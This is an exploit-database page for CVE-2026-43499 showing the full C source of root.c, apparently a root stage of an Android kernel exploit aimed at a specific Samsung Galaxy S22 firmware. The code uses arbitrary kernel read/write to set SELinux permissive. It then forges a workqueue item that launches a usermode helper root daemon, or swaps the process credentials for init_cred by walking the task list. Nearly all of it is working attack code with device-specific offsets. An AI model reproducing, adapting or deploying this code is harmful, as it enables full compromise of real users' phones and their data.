Exploit databaseDownload repository ZIP
GH-ae5b05b871d00f894a12914d3ceef22d
tungmv/ionstack-s22e
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files15
tungmv/ionstack-s22eRevision f97673396973
- ↑..Parent directory
- exp64/
- api.c
- common.h
- exp64_blob.S
- fops.c
- main.c
- no-static-pie
- offset.h
- p0_fingerprint.h
- preload.c
- root.c
- su_daemon.c
- target.h
- util.c
- utils.h
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/targets/S901EXXSAEXF8/root.c
C · 16,717 bytes#include "common.h"
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <unistd.h>
int root_child_done;
uint32_t root_uid_before = 0xffffffff;
uint32_t root_uid_after = 0xffffffff;
#define ROOT_SOCKET_PATH "/data/local/tmp/temp_su.sock"
struct umh_subprocess_info {
uint8_t work[48];
uint64_t complete;
uint64_t path;
uint64_t argv;
uint64_t envp;
int32_t wait;
int32_t retval;
uint64_t init;
uint64_t cleanup;
uint64_t data;
};
struct umh_completion {
uint32_t done;
uint32_t pad0;
uint32_t lock;
uint32_t pad1;
uint64_t next;
uint64_t prev;
};
struct umh_kernel_data {
struct umh_completion completion;
char path[48];
char arg[8];
uint64_t argv[3];
uint64_t envp[1];
};
_Static_assert(sizeof(struct umh_subprocess_info) == 112,
"subprocess_info layout");
_Static_assert(sizeof(struct umh_completion) == 32, "completion layout");
/*
* EXF8: the CFI stage already gives arbitrary *virtual* kernel R/W
* (configfs_read_once / configfs_write_once). The pipe_buffer transport is
* only needed for physical access, and the root path touches nothing but
* kernel-image and direct-map virtual addresses, so drive it directly and
* skip the (unreliable here) second KernelSnitch pass.
*/
static int root_read_data(
int fd, uintptr_t target, void *data, size_t len) {
return kernel_read_data(fd, target, data, len) == (ssize_t)len;
}
static int root_write_data(
int fd, uintptr_t target, const void *data, size_t len) {
/* Pipe-buffer writes to slab pages panic on this kernel; the forged
* configfs buffer (same primitive used for the SELinux byte) writes the
* same virtual addresses safely. Reads stay on the pipe transport. */
return kernel_write_data(fd, target, data, len) == (ssize_t)len;
}
static uint64_t root_read64(int fd, uintptr_t target) {
uint64_t value = 0;
root_read_data(fd, target, &value, sizeof(value));
return value;
}
static uint32_t root_read32(int fd, uintptr_t target) {
return (uint32_t)root_read64(fd, target);
}
static int root_write64(int fd, uintptr_t target, uint64_t value) {
return root_write_data(fd, target, &value, sizeof(value));
}
static int root_write32(int fd, uintptr_t target, uint32_t value) {
return root_write_data(fd, target, &value, sizeof(value));
}
static int wake_system_unbound(void) {
char slave_name[128];
int master_fd = posix_openpt(O_RDWR | O_NOCTTY | O_CLOEXEC);
if (master_fd < 0 || grantpt(master_fd) != 0 ||
unlockpt(master_fd) != 0 ||
ptsname_r(master_fd, slave_name, sizeof(slave_name)) != 0) {
if (master_fd >= 0) {
close(master_fd);
}
return 0;
}
int slave_fd = open(slave_name, O_RDWR | O_NOCTTY | O_CLOEXEC);
if (slave_fd < 0) {
close(master_fd);
return 0;
}
int master_close = close(master_fd);
int slave_close = close(slave_fd);
return master_close == 0 && slave_close == 0;
}
static int root_socket_ready(void) {
int fd = socket(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd < 0) {
return 0;
}
struct sockaddr_un sun;
memset(&sun, 0, sizeof(sun));
sun.sun_family = AF_UNIX;
snprintf(sun.sun_path, sizeof(sun.sun_path), "%s", ROOT_SOCKET_PATH);
int ready = connect(fd, (struct sockaddr *)&sun, sizeof(sun)) == 0;
close(fd);
return ready;
}
static int install_workqueue_umh_root(int fd) {
uintptr_t selinux_addr = data_addr(SELINUX_ENFORCING);
uint8_t permissive = 0;
uintptr_t fake_work_addr = page_base + ROOT_UMH_WORK_OFF;
uintptr_t umh_data_addr = page_base + ROOT_UMH_DATA_OFF;
struct umh_kernel_data umh_data;
memset(&umh_data, 0, sizeof(umh_data));
snprintf(umh_data.path, sizeof(umh_data.path), "%s", ROOT_UMH_PATH);
snprintf(umh_data.arg, sizeof(umh_data.arg), "%s", "--umh");
uintptr_t completion_addr =
umh_data_addr + offsetof(struct umh_kernel_data, completion);
uintptr_t wait_list_addr =
completion_addr + offsetof(struct umh_completion, next);
uintptr_t path_addr =
umh_data_addr + offsetof(struct umh_kernel_data, path);
uintptr_t arg_addr =
umh_data_addr + offsetof(struct umh_kernel_data, arg);
uintptr_t argv_addr =
umh_data_addr + offsetof(struct umh_kernel_data, argv);
uintptr_t envp_addr =
umh_data_addr + offsetof(struct umh_kernel_data, envp);
umh_data.completion.next = wait_list_addr;
umh_data.completion.prev = wait_list_addr;
umh_data.argv[0] = path_addr;
umh_data.argv[1] = arg_addr;
umh_data.argv[2] = 0;
umh_data.envp[0] = 0;
uint64_t umh_work_func = text_addr(CALL_USERMODEHELPER_EXEC_WORK_JT);
unlink(ROOT_SOCKET_PATH);
/* Device -EACCES diagnostics (2026-08-08 b0q run: umh retval=-13).
* Split the causes up front: (a) helper missing or not executable by the
* kernel umh context -> the stat/X_OK log; (b) SELinux still enforcing ->
* the enforcing-byte readback. The byte must be selinux_state.enforcing
* (target.h) — the old selinux_enforcing_boot offset was a write that
* silently changed nothing. */
{
struct stat st;
if (stat(ROOT_UMH_PATH, &st) != 0) {
pr_warning("root umh helper stat failed errno=%d (%s)\n", errno,
ROOT_UMH_PATH);
} else {
pr_info("root umh helper mode=%o uid=%u gid=%u x_ok=%d\n",
st.st_mode & 07777, st.st_uid, st.st_gid,
access(ROOT_UMH_PATH, X_OK) == 0);
}
}
uint8_t enf_before = 0xff, enf_after = 0xff;
kernel_read_data(fd, selinux_addr, &enf_before, sizeof(enf_before));
ssize_t selinux_write = kernel_write_data(
fd, selinux_addr, &permissive, sizeof(permissive));
if (selinux_write != (ssize_t)sizeof(permissive)) {
pr_error("root umh selinux write failed ret=%zd\n", selinux_write);
return 0;
}
kernel_read_data(fd, selinux_addr, &enf_after, sizeof(enf_after));
pr_info("root umh selinux enforcing byte %u -> %u (addr=%016zx)%s\n",
enf_before, enf_after, selinux_addr,
enf_after ? " — STILL ENFORCING" : "");
uintptr_t wq_slot = data_addr(SYSTEM_WQ);
uintptr_t wq = root_read64(fd, wq_slot);
pr_info("root umh probe wq_slot=%016zx wq=%016zx\n", wq_slot, wq);
if (!is_direct_ptr(wq)) {
pr_error("root umh bad wq pointer\n");
return 0;
}
uintptr_t cpu_pwqs = root_read64(fd, wq + WQ_CPU_PWQS_OFF);
uintptr_t pcpu0 = root_read64(fd, data_addr(PER_CPU_OFFSET));
uintptr_t pwq = cpu_pwqs + pcpu0;
pr_info("root umh probe cpu_pwqs=%016zx per_cpu0=%016zx pwq=%016zx\n",
cpu_pwqs, pcpu0, pwq);
if (!is_direct_ptr(pwq)) {
pr_error("root umh bad pwq pointer\n");
return 0;
}
if (!is_direct_ptr(pwq)) {
pr_error("root umh bad pwq pointer\n");
return 0;
}
pr_info("root umh probe read pool @%016zx\n", pwq + PWQ_POOL_OFF);
uintptr_t pool = root_read64(fd, pwq + PWQ_POOL_OFF);
pr_info("root umh probe pool=%016zx\n", pool);
uintptr_t pwq_wq = root_read64(fd, pwq + PWQ_WQ_OFF);
pr_info("root umh probe pwq_wq=%016zx\n", pwq_wq);
if (!is_direct_ptr(pool) || pwq_wq != wq) {
pr_error("root umh bad workqueue wq_slot=%016zx wq=%016zx "
"pwq=%016zx pool=%016zx pwq_wq=%016zx\n",
wq_slot, wq, pwq, pool, pwq_wq);
return 0;
}
uintptr_t worklist = pool + POOL_WORKLIST_OFF;
uint64_t list_next = 0;
uint64_t list_prev = 0;
uint32_t nr_idle = 0;
for (int i = 0; i < 200; i++) {
list_next = root_read64(fd, worklist);
list_prev = root_read64(fd, worklist + sizeof(uint64_t));
nr_idle = root_read32(fd, pool + POOL_NR_IDLE_OFF);
if (list_next == worklist && list_prev == worklist && nr_idle > 0) {
break;
}
usleep(1000);
}
if (list_next != worklist || list_prev != worklist || nr_idle == 0) {
pr_error("root umh pool busy pool=%016zx list=%016llx/%016llx "
"head=%016zx idle=%u\n",
pool, (unsigned long long)list_next,
(unsigned long long)list_prev, worklist, nr_idle);
return 0;
}
uint32_t color = root_read32(fd, pwq + PWQ_WORK_COLOR_OFF);
uint32_t refcnt = root_read32(fd, pwq + PWQ_REFCNT_OFF);
uint32_t nr_active = root_read32(fd, pwq + PWQ_NR_ACTIVE_OFF);
uint32_t max_active = root_read32(fd, pwq + PWQ_MAX_ACTIVE_OFF);
if (color >= 16 || refcnt == 0 || nr_active >= max_active) {
pr_error("root umh bad pwq state color=%u refcnt=%u active=%u/%u\n",
color, refcnt, nr_active, max_active);
return 0;
}
uintptr_t inflight_addr =
pwq + PWQ_NR_IN_FLIGHT_OFF + color * sizeof(uint32_t);
uint32_t nr_inflight = root_read32(fd, inflight_addr);
uintptr_t fake_entry = fake_work_addr + WORK_ENTRY_OFF;
uint64_t work_data = pwq | ((uint64_t)color << 4) | 5;
struct umh_subprocess_info fake;
memset(&fake, 0, sizeof(fake));
memcpy(fake.work + WORK_DATA_OFF, &work_data, sizeof(work_data));
memcpy(fake.work + WORK_ENTRY_OFF, &worklist, sizeof(worklist));
memcpy(fake.work + WORK_ENTRY_OFF + sizeof(uint64_t),
&worklist, sizeof(worklist));
memcpy(fake.work + WORK_FUNC_OFF, &umh_work_func,
sizeof(umh_work_func));
fake.complete = completion_addr;
fake.path = path_addr;
fake.argv = argv_addr;
fake.envp = envp_addr;
int data_write = root_write_data(
fd, umh_data_addr, &umh_data, sizeof(umh_data));
int work_write = root_write_data(
fd, fake_work_addr, &fake, sizeof(fake));
int counters_write =
root_write32(fd, inflight_addr, nr_inflight + 1) &&
root_write32(fd, pwq + PWQ_NR_ACTIVE_OFF, nr_active + 1) &&
root_write32(fd, pwq + PWQ_REFCNT_OFF, refcnt + 1);
int list_prev_write = root_write64(
fd, worklist + sizeof(uint64_t), fake_entry);
int list_next_write = list_prev_write && root_write64(
fd, worklist, fake_entry);
pr_info("root umh queued wq=%016zx pwq=%016zx pool=%016zx "
"work=%016zx entry=%016zx color=%u counters=%u/%u/%u "
"writes=%d/%d/%d/%d/%d\n",
wq, pwq, pool, fake_work_addr, fake_entry, color,
nr_inflight, nr_active, refcnt, data_write, work_write,
counters_write, list_prev_write, list_next_write);
if (!data_write || !work_write || !counters_write || !list_next_write) {
return 0;
}
uint32_t complete_done = 0;
int wake_ok = 0;
for (int i = 0; i < 8 && !complete_done; i++) {
wake_ok |= wake_system_unbound();
for (int j = 0; j < 250; j++) {
complete_done = root_read32(fd, completion_addr);
if (complete_done) {
break;
}
usleep(1000);
}
}
int socket_ok = 0;
int32_t umh_retval = (int32_t)root_read32(
fd, fake_work_addr + offsetof(struct umh_subprocess_info, retval));
if (complete_done) {
for (int i = 0; i < 200; i++) {
if (root_socket_ready()) {
socket_ok = 1;
break;
}
usleep(10000);
}
}
pr_info("root umh result wake=%d complete=%u retval=%d socket=%d\n",
wake_ok, complete_done, umh_retval, socket_ok);
root_child_done = socket_ok;
root_uid_after = socket_ok ? 0 : root_uid_before;
return socket_ok;
}
/* task_struct offsets for S901EXXSAEXF8 (derived from this firmware's Image
* in the sibling s22-selinux work): tasks 0x4c8, cred 0x778, comm 0x790. */
#define TASK_TASKS_OFF 0x4c8UL
#define TASK_CRED_OFF 0x778UL
#define TASK_COMM_OFF 0x790UL
/*
* EXF8 direct-cred path: with arbitrary kernel virtual R/W we do not need the
* workqueue/usermodehelper route at all. Rename this thread, walk init_task's
* task list to find it, and overwrite its cred in place (uids/gids -> 0,
* capability sets -> all ones). SELinux is already permissive by this point,
* so the shell domain then acts as uid 0.
*/
/*
* &init_cred (kallsyms offset) — a static, fully-privileged cred with
* uid/gid 0, all capabilities set and user_ns == &init_user_ns. Swapping the
* task's cred pointers for it is a single 8-byte write per pointer, which is
* the write size this primitive has already proven (the SELinux byte and the
* fops restores); multi-byte writes into the live cred object panic.
*/
#define INIT_CRED_OFF 0x021ef018UL
static int cred_apply(int fd, uintptr_t task) {
uintptr_t cred = root_read64(fd, task + TASK_CRED_OFF);
uint32_t ids[8] = {0};
if (!is_direct_ptr(cred) || !cred) {
pr_warning("root cred bad cred ptr %016zx (task %016zx)\n", cred, task);
return 0;
}
if (!root_read_data(fd, cred + 4, ids, sizeof(ids))) {
pr_warning("root cred unreadable cred=%016zx\n", cred);
return 0;
}
pr_info("root cred task=%016zx cred=%016zx ids=%u/%u/%u/%u "
"eids=%u/%u/%u/%u\n",
task, cred, ids[0], ids[1], ids[2], ids[3],
ids[4], ids[5], ids[6], ids[7]);
if (ids[0] != 2000 || ids[4] != 2000) {
pr_warning("root cred unexpected uid layout\n");
return 0;
}
uintptr_t init_cred = canon_addr(KIMAGE_TEXT_BASE + INIT_CRED_OFF);
pr_info("root cred swapping to init_cred=%016zx\n", init_cred);
if (!root_write_data(fd, task + TASK_CRED_OFF, &init_cred,
sizeof(init_cred))) {
pr_warning("root cred real_cred swap failed\n");
return 0;
}
pr_info("root cred real_cred swapped\n");
if (!root_write_data(fd, task + TASK_CRED_OFF + 8, &init_cred,
sizeof(init_cred))) {
pr_warning("root cred cred swap failed\n");
return 0;
}
pr_info("root cred cred swapped\n");
return 1;
}
/*
* Walk init_task's task list and patch the cred of this process. The comm
* tag is not reliable here (the CFI stage runs on a pthread), so match by
* pid/tgid instead: derive the pid,tgid offset pair from the first task
* ("init", 1/1) and then look for our tgid (the whole thread group shares
* one cred).
*/
static int escalate_cred(int fd) {
static const char tag[16] = "cve43499root";
uint32_t mypid = (uint32_t)getpid();
uint32_t mytid = (uint32_t)syscall(SYS_gettid);
{
long pr = syscall(SYS_prctl, PR_SET_NAME, (unsigned long)tag, 0, 0, 0);
char selfcomm[17];
memset(selfcomm, 0, sizeof(selfcomm));
int cf = open("/proc/self/comm", O_RDONLY | O_CLOEXEC);
if (cf >= 0) {
(void)read(cf, selfcomm, sizeof(selfcomm) - 1);
close(cf);
}
for (size_t i = 0; i < sizeof(selfcomm); i++) {
if (selfcomm[i] == '\n') {
selfcomm[i] = 0;
}
}
pr_info("root cred prctl ret=%ld errno=%d selfcomm='%s'\n",
pr, errno, selfcomm);
}
uintptr_t init_task = data_addr(INIT_TASK);
uintptr_t head = init_task + TASK_TASKS_OFF;
uintptr_t canon_head = canon_addr(INIT_TASK) + TASK_TASKS_OFF;
uintptr_t cur = root_read64(fd, head);
pr_info("root cred walk init_task=%016zx head=%016zx first=%016zx "
"pid=%u tid=%u\n",
init_task, head, cur, mypid, mytid);
/* task_struct { pid, tgid } pair offset, confirmed at runtime on this
* build by locating init's (1,1) pair and matching our tgid with it. */
size_t pid_off = 0x5c8;
int walked = 0;
while (cur && cur != head && cur != canon_head && walked < 8192) {
if (!is_direct_ptr(cur) || (cur & 0x7) != 0) {
pr_warning("root cred bad list node %016zx at %d\n", cur, walked);
return 0;
}
if ((walked % 256) == 0) {
pr_info("root cred walk %d node=%016zx\n", walked, cur);
}
uintptr_t task = cur - TASK_TASKS_OFF;
if (pid_off) {
uint64_t pair = 0;
if (root_read_data(fd, task + pid_off, &pair, sizeof(pair))) {
uint32_t tid = (uint32_t)pair;
uint32_t tgid = (uint32_t)(pair >> 32);
if (tgid == mypid || tid == mytid) {
char comm[16] = {0};
root_read_data(fd, task + TASK_COMM_OFF, comm, sizeof(comm));
pr_info("root cred matched pid=%u tgid=%u comm='%.16s'\n",
tid, tgid, comm);
return cred_apply(fd, task);
}
}
} else {
char comm[16] = {0};
if (root_read_data(fd, task + TASK_COMM_OFF, comm, sizeof(comm)) &&
memcmp(comm, tag, sizeof(tag)) == 0) {
return cred_apply(fd, task);
}
}
cur = root_read64(fd, cur);
walked++;
}
pr_warning("root cred task not found (walked=%d)\n", walked);
return 0;
}
static void spawn_root_daemon(void) {
pid_t pid = fork();
if (pid == 0) {
setsid();
execl(ROOT_UMH_PATH, ROOT_UMH_PATH, "--daemon", (char *)NULL);
_exit(127);
}
usleep(200000);
}
int install_android_root(int fd) {
root_uid_before = getuid();
pr_info("root direct start uid=%u fd=%d\n", root_uid_before, fd);
if (!install_workqueue_umh_root(fd)) {
return 0;
}
/* Root lives in the kworker-spawned helper/daemon, not in this process;
* install_workqueue_umh_root() already waited for its socket. */
root_uid_after = 0;
root_child_done = 1;
return 1;
}